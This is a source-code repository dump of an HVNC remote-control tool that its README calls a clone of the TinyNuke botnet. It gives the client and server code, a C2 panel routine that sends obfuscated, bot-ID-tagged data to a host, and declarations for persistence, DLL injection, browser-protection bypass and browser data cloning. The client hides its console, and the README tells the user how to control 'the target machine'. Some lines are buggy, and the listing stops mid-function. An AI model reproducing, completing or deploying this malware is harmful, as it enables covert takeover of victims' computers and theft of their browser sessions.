├── Server ├── Server.h ├── ControlWindow.h ├── Common.h ├── _version.h ├── Server.vcxproj.user ├── Main.cpp ├── ControlWindow.cpp ├── Server.vcxproj.filters ├── Server.vcxproj └── Server.cpp ├── common ├── Inject.h ├── Panel.h ├── HTTP.h ├── Common.h ├── Utils.h ├── Panel.cpp ├── HTTP.cpp ├── Utils.cpp ├── Api.h └── Api.cpp ├── Client ├── HiddenDesktop.h ├── HVNC.vcxproj.user ├── Main.cpp ├── HVNC.vcxproj.filters ├── HVNC.vcxproj └── HiddenDesktop.cpp ├── README.md └── HVNC.sln /Server/Server.h: -------------------------------------------------------------------------------- 1 | #include "Common.h" 2 | #include "ControlWindow.h" 3 | 4 | BOOL StartServer(int port); -------------------------------------------------------------------------------- /common/Inject.h: -------------------------------------------------------------------------------- 1 | #pragma once 2 | #include "Common.h" 3 | 4 | BOOL InjectDll(BYTE *dllBuffer, HANDLE hProcess, BOOL x64); -------------------------------------------------------------------------------- /common/Panel.h: -------------------------------------------------------------------------------- 1 | #include "Common.h" 2 | 3 | char *PanelRequest(char *data, int *outputSize); 4 | void InitPanelRequest(); -------------------------------------------------------------------------------- /Client/HiddenDesktop.h: -------------------------------------------------------------------------------- 1 | #pragma once 2 | #include "../common/Common.h" 3 | HANDLE StartHiddenDesktop(const char *host, int port); -------------------------------------------------------------------------------- /Server/ControlWindow.h: -------------------------------------------------------------------------------- 1 | #include "Common.h" 2 | 3 | BOOL CW_Register(WNDPROC lpfnWndProc); 4 | HWND CW_Create(DWORD uhid, DWORD width, DWORD height); -------------------------------------------------------------------------------- /Server/Common.h: -------------------------------------------------------------------------------- 1 | #pragma once 2 | #include 3 | #include 4 | #include 5 | #include 6 | 7 | #pragma comment(lib, "ws2_32.lib") -------------------------------------------------------------------------------- /Client/HVNC.vcxproj.user: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | -------------------------------------------------------------------------------- /common/HTTP.h: -------------------------------------------------------------------------------- 1 | #pragma once 2 | #include "Common.h" 3 | 4 | struct HttpRequestData 5 | { 6 | BOOL post; 7 | int port; 8 | const char *host; 9 | const char *path; 10 | BYTE *inputBody; 11 | int inputBodySize; 12 | BYTE *outputBody; 13 | int outputBodySize; 14 | }; 15 | 16 | BOOL HttpSubmitRequest(HttpRequestData &httpRequestData); -------------------------------------------------------------------------------- /Server/_version.h: -------------------------------------------------------------------------------- 1 | #ifndef _version_h_ 2 | #define _version_h_ 3 | 4 | //#define DEMO 5 | #ifdef DEMO 6 | # define DEMO_STRING " DEMO" 7 | #else 8 | # define DEMO_STRING 9 | #endif 10 | 11 | #ifdef _DEBUG 12 | # define VERSION_CONFIG " Debug" 13 | #else 14 | # define VERSION_CONFIG 15 | #endif 16 | 17 | #define VERSION_MAJOR 1 18 | #define VERSION_MINOR 1 19 | #define VERSION_REV 0 20 | 21 | #define VERSION_STRING "1.1.0" DEMO_STRING VERSION_CONFIG 22 | 23 | #endif 24 | -------------------------------------------------------------------------------- /Client/Main.cpp: -------------------------------------------------------------------------------- 1 | #include "HiddenDesktop.h" 2 | #include 3 | 4 | #define TIMEOUT INFINITE 5 | 6 | void StartAndWait(const char* host, int port) 7 | { 8 | InitApi(); 9 | const HANDLE hThread = StartHiddenDesktop(host, port); 10 | WaitForSingleObject(hThread, TIMEOUT); 11 | } 12 | 13 | #if 1 14 | int main() 15 | { 16 | ::ShowWindow(::GetConsoleWindow(), SW_HIDE); 17 | const char* host = "127.0.0.1"; 18 | const int port = strtol("4043", nullptr, 10); 19 | StartAndWait(host, port); 20 | return 0; 21 | } 22 | #endif -------------------------------------------------------------------------------- /Server/Server.vcxproj.user: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 6667 5 | WindowsLocalDebugger 6 | 7 | 8 | 6667 9 | WindowsLocalDebugger 10 | 11 | -------------------------------------------------------------------------------- /common/Common.h: -------------------------------------------------------------------------------- 1 | #pragma once 2 | #define SECURITY_WIN32 3 | #pragma warning(disable: 4267) 4 | #pragma warning(disable: 4244) 5 | #pragma warning(disable: 4533) 6 | #include 7 | #include 8 | #include 9 | #include 10 | #include 11 | #include 12 | #include 13 | #include 14 | #include 15 | #include 16 | #include 17 | #include "Api.h" 18 | #include "Utils.h" 19 | #include "Inject.h" 20 | #include "HTTP.h" 21 | #include "Panel.h" 22 | 23 | #define HOST (char*)"127.0.0.1" 24 | #define PATH Strs::path 25 | #define PORT 80 26 | #define POLL 60000 -------------------------------------------------------------------------------- /common/Utils.h: -------------------------------------------------------------------------------- 1 | #pragma once 2 | #include "Common.h" 3 | 4 | #define BOT_ID_LEN 35 5 | 6 | void GetBotId(char *botId); 7 | void Obfuscate(BYTE *buffer, DWORD bufferSize, char *key); 8 | char *Utf16toUtf8(const wchar_t *utf16); 9 | wchar_t *Utf8toUtf16(const char *utf8); 10 | char *UnEnc(char *enc, char *key, DWORD encLen); 11 | void GetInstallPath(char *installPath); 12 | BOOL GetUserSidStr(PCHAR *sidStr); 13 | HANDLE NtRegOpenKey(PCHAR subKey); 14 | void SetStartupValue(char *path); 15 | BOOL VerifyPe(BYTE *pe, DWORD peSize); 16 | BOOL IsProcessX64(HANDLE hProcess); 17 | void *Alloc(size_t size); 18 | void *AllocZ(size_t size); 19 | void *ReAlloc(void *mem, size_t size); 20 | DWORD GetPidExplorer(); 21 | void SetFirefoxPrefs(); 22 | void DisableMultiProcessesAndProtectedModeIe(); 23 | void GetDlls(BYTE **x86, BYTE **x64, BOOL update); 24 | void GetTempPathBotPrefix(char *path); 25 | DWORD BypassTrusteer(PROCESS_INFORMATION *processInfo, char *browserPath, char *browserCommandLine); 26 | void CopyDir(char *from, char *to); -------------------------------------------------------------------------------- /Server/Main.cpp: -------------------------------------------------------------------------------- 1 | #include "Common.h" 2 | #include "ControlWindow.h" 3 | #include "Server.h" 4 | #include "_version.h" 5 | #include 6 | #include 7 | #include 8 | #include 9 | 10 | int port; 11 | int CALLBACK WinMain(HINSTANCE hInstance, 12 | HINSTANCE hPrevInstance, 13 | LPSTR lpCmdLine, 14 | int nCmdShow) 15 | { 16 | AllocConsole(); 17 | 18 | freopen("CONIN$", "r", stdin); 19 | freopen("CONOUT$", "w", stdout); 20 | freopen("CONOUT$", "w", stderr); 21 | 22 | SetConsoleTitle(TEXT("HVNC - Tinynuke Clone [Melted@HF]")); 23 | 24 | std::cout << "[!] Server Port: "; 25 | std::cin >> port; 26 | 27 | std::system("CLS"); 28 | printf("[-] Starting HVNC Server...\n"); 29 | 30 | StartServer(port); 31 | 32 | printf("[+] Server Started!\n"); 33 | printf("[+] Listening on Port: " + port); 34 | 35 | if(!StartServer(atoi(lpCmdLine))) 36 | { 37 | wprintf(TEXT("[!] Server Couldn't Start (Error: %d)\n"), WSAGetLastError()); 38 | getchar(); 39 | return 0; 40 | } 41 | return 0; 42 | } 43 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # HVNC - Tinynuke (Fixed) 2 | This HVNC Client and Server is based off of the Tinynuke botnet's HVNC (C++). 3 | 4 | I do **NOT** encourage malicious use of this code. This was made for educational purposes only. 5 | 6 | Credits: https://github.com/rossja/TinyNuke 7 | 8 | # Features: 9 | - Start Explorer (Hidden Desktop) 10 | - Open "Run" 11 | - Start Powershell 12 | - Start Chrome 13 | - Start Edge 14 | - Start Brave 15 | - Start Firefox 16 | - Start Internet Explorer 17 | 18 | # Usage: 19 | - In the Client's "Main.cpp" file, edit the ip and port variables. 20 | - Compile the Server & Client, and run the Server. 21 | - Enter the port to listen on in the Server's console when prompted. 22 | - When the Client is executed, it will open a new "Hidden Desktop" window. If you right-click on the white bar at the top of the "Hidden Desktop" window, you can view the available commands that you can run on the target machine. 23 | 24 | # Updates (New): 25 | 26 | - Fixed Browser Data Clone 27 | - Added "Start Powershell" Option 28 | - Made Client Console Hidden 29 | - Added "Start Edge" Option 30 | - Added "Start Brave" Option 31 | - Adjusted Window Size for "Start Powershell" 32 | - Added Prompt for Port to Listen On 33 | 34 | # Demo of HVNC Window: 35 | View Demo Video: https://vimeo.com/597459719 36 | 37 | ![Image1](https://i.ibb.co/JxMn3j4/image.png) 38 | -------------------------------------------------------------------------------- /Server/ControlWindow.cpp: -------------------------------------------------------------------------------- 1 | #include "ControlWindow.h" 2 | 3 | static const TCHAR *className = TEXT("HiddenDesktop_ControlWindow"); 4 | static const TCHAR *titlePattern = TEXT("Desktop@%S | HVNC - Tinynuke Clone [Melted@HF]"); 5 | 6 | BOOL CW_Register(WNDPROC lpfnWndProc) 7 | { 8 | WNDCLASSEX wndClass; 9 | wndClass.cbSize = sizeof(WNDCLASSEX); 10 | wndClass.style = CS_DBLCLKS; 11 | wndClass.lpfnWndProc = lpfnWndProc; 12 | wndClass.cbClsExtra = 0; 13 | wndClass.cbWndExtra = 0; 14 | wndClass.hInstance = NULL; 15 | wndClass.hIcon = LoadIcon(NULL, IDI_APPLICATION); 16 | wndClass.hCursor = LoadCursor(NULL, IDC_ARROW); 17 | wndClass.hbrBackground = (HBRUSH) COLOR_WINDOW; 18 | wndClass.lpszMenuName = NULL; 19 | wndClass.lpszClassName = className; 20 | wndClass.hIconSm = LoadIcon(NULL, IDI_APPLICATION); 21 | return RegisterClassEx(&wndClass); 22 | } 23 | 24 | HWND CW_Create(DWORD uhid, DWORD width, DWORD height) 25 | { 26 | TCHAR title[100]; 27 | IN_ADDR addr; 28 | addr.S_un.S_addr = uhid; 29 | 30 | wsprintf(title, titlePattern, inet_ntoa(addr)); 31 | 32 | HWND hWnd = CreateWindow(className, 33 | title, 34 | WS_MAXIMIZEBOX | WS_MINIMIZEBOX | WS_SIZEBOX | WS_SYSMENU, 35 | CW_USEDEFAULT, 36 | CW_USEDEFAULT, 37 | width, 38 | height, 39 | NULL, 40 | NULL, 41 | GetModuleHandle(NULL), 42 | NULL); 43 | 44 | if(hWnd == NULL) 45 | return NULL; 46 | 47 | ShowWindow(hWnd, SW_SHOW); 48 | return hWnd; 49 | } -------------------------------------------------------------------------------- /Server/Server.vcxproj.filters: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | {4FC737F1-C7A5-4376-A066-2A32D752A2FF} 6 | cpp;c;cc;cxx;def;odl;idl;hpj;bat;asm;asmx 7 | 8 | 9 | {93995380-89BD-4b04-88EB-625FBE52EBFB} 10 | h;hpp;hxx;hm;inl;inc;xsd 11 | 12 | 13 | {67DA6AB6-F800-4c08-8B7A-83BB121AAD01} 14 | rc;ico;cur;bmp;dlg;rc2;rct;bin;rgs;gif;jpg;jpeg;jpe;resx;tiff;tif;png;wav;mfcribbon-ms 15 | 16 | 17 | 18 | 19 | Source Files 20 | 21 | 22 | Source Files 23 | 24 | 25 | Source Files 26 | 27 | 28 | 29 | 30 | Header Files 31 | 32 | 33 | Header Files 34 | 35 | 36 | Header Files 37 | 38 | 39 | -------------------------------------------------------------------------------- /Client/HVNC.vcxproj.filters: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 6 | 7 | cpp;c;cc;cxx;def;odl;idl;hpj;bat;asm;asmx 8 | 9 | 10 | 11 | 12 | h;hpp;hxx;hm;inl;inc;xsd 13 | 14 | 15 | 16 | 17 | rc;ico;cur;bmp;dlg;rc2;rct;bin;rgs;gif;jpg;jpeg;jpe;resx;tiff;tif;png;wav;mfcribbon-ms 18 | 19 | 20 | 21 | 22 | Source Files 23 | 24 | 25 | Source Files 26 | 27 | 28 | Source Files 29 | 30 | 31 | Source Files 32 | 33 | 34 | Source Files 35 | 36 | 37 | Source Files 38 | 39 | 40 | 41 | 42 | Header Files 43 | 44 | 45 | Header Files 46 | 47 | 48 | Header Files 49 | 50 | 51 | Header Files 52 | 53 | 54 | Header Files 55 | 56 | 57 | Header Files 58 | 59 | 60 | -------------------------------------------------------------------------------- /HVNC.sln: -------------------------------------------------------------------------------- 1 | 2 | Microsoft Visual Studio Solution File, Format Version 12.00 3 | # Visual Studio 15 4 | VisualStudioVersion = 15.0.28307.489 5 | MinimumVisualStudioVersion = 10.0.40219.1 6 | Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "Server", "Server\Server.vcxproj", "{5C3AD9AC-C62C-4AA8-BAE2-9AF920A652E3}" 7 | EndProject 8 | Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "HVNC", "Client\HVNC.vcxproj", "{FFE5AD77-8AF4-4A3F-8CE7-6BDC45565F07}" 9 | ProjectSection(ProjectDependencies) = postProject 10 | {5C3AD9AC-C62C-4AA8-BAE2-9AF920A652E3} = {5C3AD9AC-C62C-4AA8-BAE2-9AF920A652E3} 11 | EndProjectSection 12 | EndProject 13 | Global 14 | GlobalSection(SolutionConfigurationPlatforms) = preSolution 15 | Debug|Win32 = Debug|Win32 16 | Debug|x64 = Debug|x64 17 | Release|Win32 = Release|Win32 18 | Release|x64 = Release|x64 19 | EndGlobalSection 20 | GlobalSection(ProjectConfigurationPlatforms) = postSolution 21 | {5C3AD9AC-C62C-4AA8-BAE2-9AF920A652E3}.Debug|Win32.ActiveCfg = Debug|Win32 22 | {5C3AD9AC-C62C-4AA8-BAE2-9AF920A652E3}.Debug|Win32.Build.0 = Debug|Win32 23 | {5C3AD9AC-C62C-4AA8-BAE2-9AF920A652E3}.Debug|x64.ActiveCfg = Debug|Win32 24 | {5C3AD9AC-C62C-4AA8-BAE2-9AF920A652E3}.Release|Win32.ActiveCfg = Release|Win32 25 | {5C3AD9AC-C62C-4AA8-BAE2-9AF920A652E3}.Release|Win32.Build.0 = Release|Win32 26 | {5C3AD9AC-C62C-4AA8-BAE2-9AF920A652E3}.Release|x64.ActiveCfg = Release|Win32 27 | {FFE5AD77-8AF4-4A3F-8CE7-6BDC45565F07}.Debug|Win32.ActiveCfg = Debug|Win32 28 | {FFE5AD77-8AF4-4A3F-8CE7-6BDC45565F07}.Debug|Win32.Build.0 = Debug|Win32 29 | {FFE5AD77-8AF4-4A3F-8CE7-6BDC45565F07}.Debug|x64.ActiveCfg = Debug|x64 30 | {FFE5AD77-8AF4-4A3F-8CE7-6BDC45565F07}.Debug|x64.Build.0 = Debug|x64 31 | {FFE5AD77-8AF4-4A3F-8CE7-6BDC45565F07}.Release|Win32.ActiveCfg = Release|Win32 32 | {FFE5AD77-8AF4-4A3F-8CE7-6BDC45565F07}.Release|Win32.Build.0 = Release|Win32 33 | {FFE5AD77-8AF4-4A3F-8CE7-6BDC45565F07}.Release|x64.ActiveCfg = Release|x64 34 | {FFE5AD77-8AF4-4A3F-8CE7-6BDC45565F07}.Release|x64.Build.0 = Release|x64 35 | EndGlobalSection 36 | GlobalSection(SolutionProperties) = preSolution 37 | HideSolutionNode = FALSE 38 | EndGlobalSection 39 | GlobalSection(ExtensibilityGlobals) = postSolution 40 | SolutionGuid = {CBD14392-ADAC-471C-AB09-77563FB55B91} 41 | EndGlobalSection 42 | EndGlobal 43 | -------------------------------------------------------------------------------- /common/Panel.cpp: -------------------------------------------------------------------------------- 1 | #include "Panel.h" 2 | #include "Utils.h" 3 | #include "HTTP.h" 4 | 5 | static char *gKey = NULL; 6 | static char gBotId[BOT_ID_LEN] = { 0 }; 7 | static char gPath [256] = { 0 }; 8 | static int gHostIndex = 0; 9 | static HttpRequestData gRequest = { 0 }; 10 | static CRITICAL_SECTION gSwitchCritSec; 11 | static CRITICAL_SECTION gInitCritSec; 12 | 13 | static void SwitchHost() 14 | { 15 | Funcs::pEnterCriticalSection(&gSwitchCritSec); 16 | ++gHostIndex; 17 | if(!HOST[gHostIndex]) 18 | gHostIndex = 0; 19 | Funcs::pLeaveCriticalSection(&gSwitchCritSec); 20 | Funcs::pSleep(POLL); 21 | } 22 | 23 | void InitPanelRequest() 24 | { 25 | Funcs::pInitializeCriticalSection(&gInitCritSec); 26 | } 27 | 28 | char *PanelRequest(char *data, int *outputSize) 29 | { 30 | if(!gKey) 31 | { 32 | EnterCriticalSection(&gInitCritSec); 33 | Funcs::pInitializeCriticalSection(&gSwitchCritSec); 34 | char request[32] = { 0 }; 35 | Funcs::pLstrcpyA(request, Strs::pingRequest); 36 | 37 | GetBotId(gBotId); 38 | 39 | Funcs::pLstrcpyA(gPath, PATH); 40 | Funcs::pLstrcatA(gPath, "?"); 41 | Funcs::pLstrcatA(gPath, gBotId); 42 | 43 | gRequest.host = HOST[gHostIndex]; 44 | gRequest.port = PORT; 45 | gRequest.path = gPath; 46 | gRequest.post = TRUE; 47 | 48 | while(!HttpSubmitRequest(gRequest)) 49 | { 50 | SwitchHost(); 51 | gRequest.host = HOST[gHostIndex]; 52 | } 53 | gKey = (char *) gRequest.outputBody; 54 | LeaveCriticalSection(&gInitCritSec); 55 | } 56 | HttpRequestData request; 57 | Funcs::pMemcpy(&request, &gRequest, sizeof(gRequest)); 58 | 59 | request.inputBody = (BYTE *) data; 60 | request.inputBodySize = Funcs::pLstrlenA(data); 61 | 62 | Obfuscate(request.inputBody, request.inputBodySize, gKey); 63 | 64 | while(!HttpSubmitRequest(request)) 65 | { 66 | SwitchHost(); 67 | request.host = HOST[gHostIndex]; 68 | gRequest.host = HOST[gHostIndex]; 69 | } 70 | Obfuscate(request.outputBody, request.outputBodySize, gKey); 71 | if(outputSize) 72 | *outputSize = request.outputBodySize; 73 | return (char *) request.outputBody; 74 | } -------------------------------------------------------------------------------- /Server/Server.vcxproj: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | Debug 6 | Win32 7 | 8 | 9 | Release 10 | Win32 11 | 12 | 13 | 14 | {5C3AD9AC-C62C-4AA8-BAE2-9AF920A652E3} 15 | Win32Proj 16 | Server 17 | 10.0 18 | 19 | 20 | 21 | Application 22 | true 23 | v142 24 | Unicode 25 | 26 | 27 | Application 28 | false 29 | v143 30 | true 31 | Unicode 32 | 33 | 34 | 35 | 36 | 37 | 38 | 39 | 40 | 41 | 42 | 43 | 44 | true 45 | $(SolutionDir)_bin\$(Configuration)\$(Platform)\ 46 | $(SolutionDir)_tmp\$(Configuration)\$(ProjectName)\$(Platform)\ 47 | 48 | 49 | false 50 | $(SolutionDir)_bin\$(Configuration)\$(Platform)\ 51 | $(SolutionDir)_tmp\$(Configuration)\$(ProjectName)\$(Platform)\ 52 | 53 | 54 | 55 | 56 | 57 | Level3 58 | Disabled 59 | WIN32;_DEBUG;_WINDOWS;%(PreprocessorDefinitions) 60 | MultiThreadedDebug 61 | 62 | 63 | Windows 64 | true 65 | 66 | 67 | 68 | 69 | Level3 70 | 71 | 72 | MaxSpeed 73 | true 74 | true 75 | WIN32;NDEBUG;_WINDOWS;%(PreprocessorDefinitions) 76 | MultiThreaded 77 | 78 | 79 | Windows 80 | true 81 | true 82 | true 83 | 84 | 85 | 86 | 87 | 88 | 89 | 90 | 91 | 92 | 93 | 94 | 95 | 96 | 97 | 98 | -------------------------------------------------------------------------------- /common/HTTP.cpp: -------------------------------------------------------------------------------- 1 | #include "HTTP.h" 2 | 3 | BOOL HttpSubmitRequest(HttpRequestData &httpRequestData) 4 | { 5 | BOOL ret = FALSE; 6 | WSADATA wsa; 7 | SOCKET s; 8 | 9 | char request[1024] = { 0 }; 10 | 11 | httpRequestData.outputBodySize = 0; 12 | Funcs::pLstrcpyA(request, (httpRequestData.post ? Strs::postSpace : Strs::getSpace)); 13 | Funcs::pLstrcatA(request, httpRequestData.path); 14 | Funcs::pLstrcatA(request, Strs::httpReq1); 15 | Funcs::pLstrcatA(request, Strs::httpReq2); 16 | Funcs::pLstrcatA(request, httpRequestData.host); 17 | Funcs::pLstrcatA(request, Strs::httpReq3); 18 | 19 | if(httpRequestData.post && httpRequestData.inputBody) 20 | { 21 | Funcs::pLstrcatA(request, Strs::httpReq4); 22 | char sizeStr[10]; 23 | Funcs::pWsprintfA(sizeStr, Strs::sprintfIntEscape, httpRequestData.inputBodySize); 24 | Funcs::pLstrcatA(request, sizeStr); 25 | Funcs::pLstrcatA(request, Strs::winNewLine); 26 | } 27 | Funcs::pLstrcatA(request, Strs::winNewLine); 28 | 29 | if(Funcs::pWSAStartup(MAKEWORD(2, 2), &wsa) != 0) 30 | goto exit; 31 | 32 | if((s = Funcs::pSocket(AF_INET, SOCK_STREAM, IPPROTO_TCP)) == INVALID_SOCKET) 33 | goto exit; 34 | 35 | hostent *he = Funcs::pGethostbyname(httpRequestData.host); 36 | if(!he) 37 | goto exit; 38 | 39 | struct sockaddr_in addr; 40 | Funcs::pMemcpy(&addr.sin_addr, he->h_addr_list[0], he->h_length); 41 | addr.sin_family = AF_INET; 42 | addr.sin_port = Funcs::pHtons(httpRequestData.port); 43 | 44 | if(Funcs::pConnect(s, (struct sockaddr *) &addr, sizeof(addr)) == SOCKET_ERROR) 45 | goto exit; 46 | if(Funcs::pSend(s, request, Funcs::pLstrlenA(request), 0) <= 0) 47 | goto exit; 48 | 49 | if(httpRequestData.inputBody) 50 | { 51 | if(Funcs::pSend(s, (char *) httpRequestData.inputBody, httpRequestData.inputBodySize, 0) <= 0) 52 | goto exit; 53 | } 54 | 55 | char header[1024] = { 0 }; 56 | int contentLength = -1; 57 | int lastPos = 0; 58 | BOOL firstLine = TRUE; 59 | BOOL transferChunked = FALSE; 60 | 61 | for(int i = 0;; ++i) 62 | { 63 | if(i > sizeof(header) - 1) 64 | goto exit; 65 | if(Funcs::pRecv(s, header + i, 1, 0) <= 0) 66 | goto exit; 67 | if(i > 0 && header[i - 1] == '\r' && header[i] == '\n') 68 | { 69 | header[i - 1] = 0; 70 | if(firstLine) 71 | { 72 | if(Funcs::pLstrcmpiA(header, Strs::httpReq5)) 73 | goto exit; 74 | firstLine = FALSE; 75 | } 76 | else 77 | { 78 | char *field = header + lastPos + 2; 79 | if(Funcs::pLstrlenA(field) == 0) 80 | { 81 | if(contentLength < 0 && !transferChunked) 82 | goto exit; 83 | break; 84 | } 85 | char *name; 86 | char *value; 87 | if((value = (char *) Funcs::pStrStrA(field, Strs::httpReq6))) 88 | { 89 | name = field; 90 | name[value - field] = 0; 91 | value += 2; 92 | if(!Funcs::pLstrcmpiA(name, Strs::httpReq7)) 93 | { 94 | char *endPtr; 95 | contentLength = Funcs::pStrtol(value, &endPtr, 10); 96 | if(endPtr == value) 97 | goto exit; 98 | if(value < 0) 99 | goto exit; 100 | } 101 | else if(!Funcs::pLstrcmpiA(name, Strs::httpReq8)) 102 | { 103 | if(!Funcs::pLstrcmpiA(value, Strs::httpReq9)) 104 | transferChunked = TRUE; 105 | } 106 | value += 2; 107 | } 108 | } 109 | lastPos = i - 1; 110 | } 111 | } 112 | if(transferChunked) 113 | { 114 | const int reallocSize = 16394; 115 | 116 | char sizeStr[10] = { 0 }; 117 | int allocatedSize = reallocSize; 118 | int read = 0; 119 | 120 | httpRequestData.outputBody = (BYTE *) Alloc(reallocSize); 121 | for(int i = 0;;) 122 | { 123 | if(i > sizeof(sizeStr) - 1) 124 | goto exit; 125 | if(Funcs::pRecv(s, sizeStr + i, 1, 0) <= 0) 126 | goto exit; 127 | if(i > 0 && sizeStr[i - 1] == '\r' && sizeStr[i] == '\n') 128 | { 129 | sizeStr[i - 1] = 0; 130 | char *endPtr; 131 | int size = Funcs::pStrtol(sizeStr, &endPtr, 16); 132 | if(endPtr == sizeStr) 133 | goto exit; 134 | if(size < 0) 135 | goto exit; 136 | if(size == 0) 137 | { 138 | httpRequestData.outputBody[httpRequestData.outputBodySize] = 0; 139 | break; 140 | } 141 | httpRequestData.outputBodySize += size; 142 | if(allocatedSize < httpRequestData.outputBodySize + 1) 143 | { 144 | allocatedSize += httpRequestData.outputBodySize + reallocSize; 145 | httpRequestData.outputBody = (BYTE *) ReAlloc(httpRequestData.outputBody, allocatedSize); 146 | } 147 | int chunkRead = 0; 148 | do 149 | { 150 | int read2 = Funcs::pRecv(s, (char *) httpRequestData.outputBody + read + chunkRead, size - chunkRead, 0); 151 | if(read2 <= 0) 152 | goto exit; 153 | chunkRead += read2; 154 | } while(chunkRead != size); 155 | if(Funcs::pRecv(s, sizeStr, 2, 0) <= 0) 156 | goto exit; 157 | read += size; 158 | i = 0; 159 | continue; 160 | } 161 | ++i; 162 | } 163 | } 164 | else 165 | { 166 | if(contentLength > 0) 167 | { 168 | httpRequestData.outputBody = (BYTE *) Alloc(contentLength + 1); 169 | httpRequestData.outputBodySize = contentLength; 170 | httpRequestData.outputBody[httpRequestData.outputBodySize] = 0; 171 | int totalRead = 0; 172 | do 173 | { 174 | int read = Funcs::pRecv(s, (char *) httpRequestData.outputBody + totalRead, contentLength - totalRead, 0); 175 | if(read <= 0) goto exit; 176 | totalRead += read; 177 | } 178 | while(totalRead != contentLength); 179 | } 180 | else 181 | { 182 | httpRequestData.outputBody = (BYTE *) Alloc(1); 183 | httpRequestData.outputBody[0] = 0; 184 | } 185 | } 186 | ret = TRUE; 187 | exit: 188 | if(!ret) 189 | { 190 | httpRequestData.outputBody = NULL; 191 | Funcs::pFree(httpRequestData.outputBody); 192 | } 193 | Funcs::pClosesocket(s); 194 | Funcs::pWSACleanup(); 195 | return ret; 196 | } -------------------------------------------------------------------------------- /Client/HVNC.vcxproj: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | Debug 6 | Win32 7 | 8 | 9 | Debug 10 | x64 11 | 12 | 13 | Release 14 | Win32 15 | 16 | 17 | Release 18 | x64 19 | 20 | 21 | 22 | {FFE5AD77-8AF4-4A3F-8CE7-6BDC45565F07} 23 | Win32Proj 24 | HVNC 25 | 10.0 26 | Client 27 | 28 | 29 | 30 | Application 31 | true 32 | v142 33 | MultiByte 34 | 35 | 36 | Application 37 | true 38 | v143 39 | MultiByte 40 | 41 | 42 | Application 43 | false 44 | v143 45 | true 46 | MultiByte 47 | 48 | 49 | Application 50 | false 51 | v143 52 | true 53 | MultiByte 54 | 55 | 56 | 57 | 58 | 59 | 60 | 61 | 62 | 63 | 64 | 65 | 66 | 67 | 68 | 69 | 70 | 71 | 72 | true 73 | $(SolutionDir)_bin\$(Configuration)\$(Platform)\ 74 | $(SolutionDir)_tmp\$(Configuration)\$(ProjectName)\$(Platform)\ 75 | 76 | 77 | true 78 | $(SolutionDir)_bin\$(Configuration)\$(Platform)\ 79 | $(SolutionDir)_tmp\$(Configuration)\$(ProjectName)\$(Platform)\ 80 | 81 | 82 | false 83 | $(SolutionDir)_bin\$(Configuration)\$(Platform)\ 84 | $(SolutionDir)_tmp\$(Configuration)\$(ProjectName)\$(Platform)\ 85 | 86 | 87 | false 88 | $(SolutionDir)_bin\$(Configuration)\$(Platform)\ 89 | $(SolutionDir)_tmp\$(Configuration)\$(ProjectName)\$(Platform)\ 90 | 91 | 92 | 93 | 94 | 95 | Level3 96 | Disabled 97 | WIN32;_DEBUG;_WINDOWS;%(PreprocessorDefinitions) 98 | false 99 | MultiThreadedDebug 100 | EditAndContinue 101 | 102 | 103 | Console 104 | true 105 | /verbose %(AdditionalOptions) 106 | 107 | 108 | 109 | 110 | 111 | 112 | Level3 113 | Disabled 114 | WIN32;_DEBUG;_WINDOWS;%(PreprocessorDefinitions) 115 | false 116 | Default 117 | false 118 | 119 | 120 | Console 121 | true 122 | /verbose %(AdditionalOptions) 123 | 124 | 125 | 126 | 127 | Level3 128 | 129 | 130 | MinSpace 131 | true 132 | true 133 | WIN32;NDEBUG;_WINDOWS;%(PreprocessorDefinitions) 134 | MultiThreaded 135 | Disabled 136 | Size 137 | true 138 | false 139 | false 140 | 141 | 142 | Console 143 | true 144 | true 145 | true 146 | /verbose %(AdditionalOptions) 147 | 148 | 149 | 150 | 151 | Level3 152 | 153 | 154 | MinSpace 155 | true 156 | true 157 | WIN32;NDEBUG;_WINDOWS;%(PreprocessorDefinitions) 158 | MultiThreaded 159 | Disabled 160 | Size 161 | true 162 | false 163 | false 164 | 165 | 166 | Console 167 | true 168 | true 169 | true 170 | /verbose %(AdditionalOptions) 171 | 172 | 173 | 174 | 175 | 176 | 177 | 178 | 179 | 180 | 181 | 182 | 183 | 184 | 185 | 186 | 187 | 188 | 189 | 190 | 191 | 192 | -------------------------------------------------------------------------------- /Server/Server.cpp: -------------------------------------------------------------------------------- 1 | #include "Server.h" 2 | 3 | #include "_version.h" 4 | 5 | typedef NTSTATUS (NTAPI *T_RtlDecompressBuffer) 6 | ( 7 | USHORT CompressionFormat, 8 | PUCHAR UncompressedBuffer, 9 | ULONG UncompressedBufferSize, 10 | PUCHAR CompressedBuffer, 11 | ULONG CompressedBufferSize, 12 | PULONG FinalUncompressedSize 13 | ); 14 | 15 | static T_RtlDecompressBuffer pRtlDecompressBuffer; 16 | 17 | enum Connection { desktop, input, end }; 18 | 19 | struct Client 20 | { 21 | SOCKET connections[Connection::end]; 22 | DWORD uhid; 23 | HWND hWnd; 24 | BYTE *pixels; 25 | DWORD pixelsWidth, pixelsHeight; 26 | DWORD screenWidth, screenHeight; 27 | HDC hDcBmp; 28 | HANDLE minEvent; 29 | BOOL fullScreen; 30 | RECT windowedRect; 31 | }; 32 | 33 | static const COLORREF gc_trans = RGB(255, 174, 201); 34 | static const BYTE gc_magik[] = { 'M', 'E', 'L', 'T', 'E', 'D', 0 }; 35 | static const DWORD gc_maxClients = 256; 36 | static const DWORD gc_sleepNotRecvPixels = 33; 37 | 38 | static const DWORD gc_minWindowWidth = 800; 39 | static const DWORD gc_minWindowHeight = 600; 40 | 41 | 42 | enum SysMenuIds { fullScreen = 101, startExplorer = WM_USER + 1, startRun, startChrome, startEdge, startBrave, startFirefox, startIexplore, startPowershell }; 43 | 44 | static Client g_clients[gc_maxClients]; 45 | static CRITICAL_SECTION g_critSec; 46 | 47 | static Client *GetClient(void *data, BOOL uhid) 48 | { 49 | for(int i = 0; i < gc_maxClients; ++i) 50 | { 51 | if(uhid) 52 | { 53 | if(g_clients[i].uhid == (DWORD) data) 54 | return &g_clients[i]; 55 | } 56 | else 57 | { 58 